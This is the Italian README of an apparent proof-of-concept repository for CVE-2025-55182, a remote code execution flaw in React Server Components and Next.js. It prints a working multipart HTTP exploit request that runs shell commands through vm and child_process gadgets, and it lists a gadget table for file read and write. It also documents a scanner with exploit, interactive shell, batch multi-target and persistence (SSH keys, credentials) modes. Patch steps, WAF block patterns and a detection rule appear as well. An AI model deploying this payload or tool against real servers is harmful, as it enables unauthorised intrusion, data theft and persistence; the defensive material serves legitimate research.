
Strumento di ricerca sulla sicurezza unificato
Ricerca sulla Sicurezza di schema.cx
"Il controllo è un'illusione. Sono i sistemi che costruiamo a controllarci—a meno che non li comprendiamo prima."
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA AUTORIZZATI
FERMATI. LEGGI QUESTO PRIMA DI PROCEDERE.
Questo repository contiene codice proof-of-concept per una vulnerabilità di sicurezza critica. Accedendo, scaricando o utilizzando qualsiasi materiale in questo repository, riconosci e accetti quanto segue:
Autorizzazione Scritta Richiesta: Devi avere autorizzazione esplicita e scritta dal proprietario del sistema prima di condurre qualsiasi test di sicurezza. Gli accordi verbali sono insufficienti.
Limitazioni di Ambito: I test devono essere limitati ai sistemi esplicitamente elencati nella tua autorizzazione. Lo "scope creep" non è consentito.
Leggi Applicabili: L'accesso non autorizzato a sistemi informatici viola:
GLI AUTORI E I COLLABORATORI DI QUESTO REPOSITORY:
"La domanda non è se possiamo sfruttare la vulnerabilità. È se dovremmo farlo, e per quale scopo."
CVE-2025-55182 è una vulnerabilità critica di esecuzione remota di codice (RCE) pre-autenticazione che riguarda i React Server Components nelle applicazioni React 19.x e Next.js 15.x-16.x.
Questa vulnerabilità consente a qualsiasi attaccante non autenticato con accesso di rete a un'applicazione vulnerabile di eseguire comandi arbitrari sul server. L'attacco non richiede credenziali, nessuna interazione dell'utente e può essere completamente automatizzato. Uno sfruttamento riuscito porta a:
| Metrica | Valutazione |
|---|---|
| Punteggio Base CVSS v3.1 | 10.0 CRITICO |
| Vettore d'Attacco | Rete |
| Complessità dell'Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto (C/I/D) | Alto / Alto / Alto |
"Le persone si fidano dei sistemi perché non li capiscono. Quella fiducia è una vulnerabilità."
La vulnerabilità esiste nell'implementazione del protocollo Flight di React all'interno della funzione requireModule. Questa funzione usa la notazione a parentesi per accedere agli esportati del modulo basandosi sull'input controllato dall'utente, senza convalidare che la proprietà richiesta sia una proprietà propria del modulo.
Posizione del Codice Vulnerabile:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Funzione: requireModule (circa righe 2546-2558 in v19.0.0)
Pattern Vulnerabile:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... gestione asincrona ...
return moduleExports[metadata[2]]; // ← VULNERABILE: Nessun controllo hasOwnProperty
}
L'attacco sfrutta la traversata della catena dei prototipi di JavaScript:
$ACTION_0:0 contiene JSON con le proprietà id (formato module#export) e bound (argomenti) controllate dall'attaccanteconstructor o accedendo alle proprietà del prototipo, gli attaccanti possono riferirsi a moduli Node.js integrativm.runInThisContext, child_process.execSync, o fs.readFileSync vengono eseguite con argomenti forniti dall'attaccanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analizza il formato "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Accesso alla catena dei prototipi → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | Modulo | Descrizione | Impatto |
|---|---|---|---|
vm#runInThisContext | vm | Esegue JS nel contesto corrente | RCE Diretta |
vm#runInNewContext | vm | Esegue JS in sandbox (aggirabile) | RCE Diretta |
child_process#execSync | child_process | Esegue comandi shell | RCE Diretta |
child_process#spawnSync | child_process | Avvia processi | RCE Diretta |
fs#readFileSync | fs | Legge file arbitrari | Esfiltrazione Dati |
fs#writeFileSync | fs | Scrive file arbitrari | Persistenza/Backdoor |
module#_load | module | Carica moduli JS (RCE in due passi) | RCE Indiretta |
"Ogni sistema ha una porta. La domanda è se hai costruito la serratura da solo—o l'hai ereditata da qualcuno che non si aspettava visitatori."
| Prodotto | Versioni Vulnerabili | Versioni Corrette |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (che usano React vulnerabile) | Versioni con React corretto |
vm, child_process, o fs devono essere nel bundle webpack| Modulo | Probabilità nel Bundle | Fonti Comuni |
|---|---|---|
fs | Molto Alta | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Medio-Alta | execa, shelljs, puppeteer, sharp, generatori PDF |
vm | Bassa-Media | ejs, pug, motori template |
module | Molto Bassa | tsx, ts-node (solitamente solo CLI) |
Questo repository include uno scanner di sicurezza Python completo con molteplici modalità operative.
CVE-2025-55182-poc/
├── README.md # Questo file
├── scanner/
│ ├── __init__.py # Inizializzazione pacchetto Python
│ ├── scanner.py # Scanner principale unificato (6 modalità)
│ ├── readme.md # Documentazione dettagliata dello scanner
│ ├── requirements.txt # Dipendenze Python
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Analisi approfondita della vulnerabilità
│ └── VULNERABLE-PACKAGES.md # Versioni dei pacchetti affetti
Installazione:
cd scanner
pip install -r requirements.txt
Scansione Vulnerabilità:
# Controlla se il target è vulnerabile
python scanner.py scan https://target.com
Rilevamento Gadget:
# Identifica i gadget RCE disponibili
python scanner.py exploit https://target.com --detect-gadgets
Esecuzione Comando (con autorizzazione):
# Esegui comando su target vulnerabile
python scanner.py exploit https://target.com -c "whoami"
Test Batch:
# Testa più target da file
python scanner.py batch -f targets.txt -o results.json
Scansione Automatica con Verifica:
# Scansione completa con verifica dello sfruttamento
python scanner.py auto -f targets.txt -o report.txt
Target Vulnerabile:
[+] VULNERABILE a CVE-2025-55182!
Framework: Next.js
Versione: 15.1.0
Confidenza: ALTA
Gadget Disponibili:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Target Corretto:
[-] Non vulnerabile o impossibile determinare
Framework rilevato: Next.js
Versione: 15.2.0 (corretto)
| Modalità | Scopo |
|---|---|
scan | Rilevamento vulnerabilità e fingerprinting |
exploit | Sfruttamento controllato con gadget specifici |
shell | Shell interattiva per comandi su target vulnerabili |
batch | Testa più URL con statistiche |
auto | Scansione automatica multi-target con verifica |
persist | Dimostrazioni attacco di persistenza (chiavi SSH, credenziali) |
Per documentazione completa, vedi scanner/readme.md.
"Uno strumento è pericoloso solo quanto l'intento dietro di esso. Nelle mani giuste, un'arma diventa uno scudo."
/etc/passwd, chiavi SSH, credenziali cloudViolazione dei Dati: L'attaccante legge file .env contenenti credenziali di database, esfiltra dati dei clienti
Installazione di Cryptominer: L'attaccante scrive uno script di mining, aggiunge un cron job per la persistenza
Attacco alla Supply Chain: L'attaccante modifica il codice sorgente in produzione, servendo contenuti malevoli agli utenti
Movimento Laterale: Il server compromesso viene usato per attaccare database, API e servizi interni
Ransomware: L'attaccante crittografa i file dell'applicazione, chiede un pagamento per le chiavi di decrittazione
Aggiorna React Immediatamente
npm update react react-dom react-server-dom-webpack
Versioni target: 19.0.1+, 19.1.2+, o 19.2.1+
Verifica l'Applicazione della Patch
npm ls react
Assicurati che nessuna versione vulnerabile rimanga nel tuo albero delle dipendenze
Blocca le richieste contenenti questi pattern:
# Pattern del corpo della richiesta da bloccare
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Escludi i pacchetti pericolosi dal bundle webpack:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Pattern di Log da Monitorare:
$ACTION_REF_ o $ACTION_ID_ insoliti nei corpi delle richieste/api/* con dati multipart contenenti JSONconstructor, prototype o accesso a moduli inaspettatiFirme di Rilevamento Intrusioni:
alert http any any -> $HOME_NET any (
msg:"Tentativo di Sfruttamento CVE-2025-55182";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk, o strumenti simili"Il patching non riguarda solo la riparazione di ciò che è rotto. Riguarda la chiusura delle porte che non sapevi fossero aperte."
| Data | Evento |
|---|---|
| Scoperta | Informazioni in attesa |
| Notifica al Venditore | Informazioni in attesa |
| Riconoscimento del Venditore | Informazioni in attesa |
| Sviluppo della Patch | Informazioni in attesa |
| Rilascio della Patch | React 19.0.1, 19.1.2, 19.2.1 |
| Divulgazione Pubblica | Informazioni in attesa |
| Assegnazione CVE | CVE-2025-55182 |
Questa divulgazione segue le Linee Guida per la Divulgazione delle Vulnerabilità CERT/CC e gli standard ISO/IEC 29147:2018 per la divulgazione coordinata delle vulnerabilità.
Questo proof-of-concept è stato sviluppato dal team di ricerca sulla sicurezza di schema.cx.
Repository: https://github.com/ejpir/CVE-2025-55182-poc
Vorremmo ringraziare:
Questo progetto è rilasciato solo per scopi educativi e di ricerca sulla sicurezza autorizzati.
Usando questo software, accetti di:
"Non hackeriamo per distruggere. Hackeriamo per capire. E capire è il primo passo per costruire qualcosa di meglio."
schema.cx — Ricerca sulla Sicurezza per un Mondo Digitale più Sicuro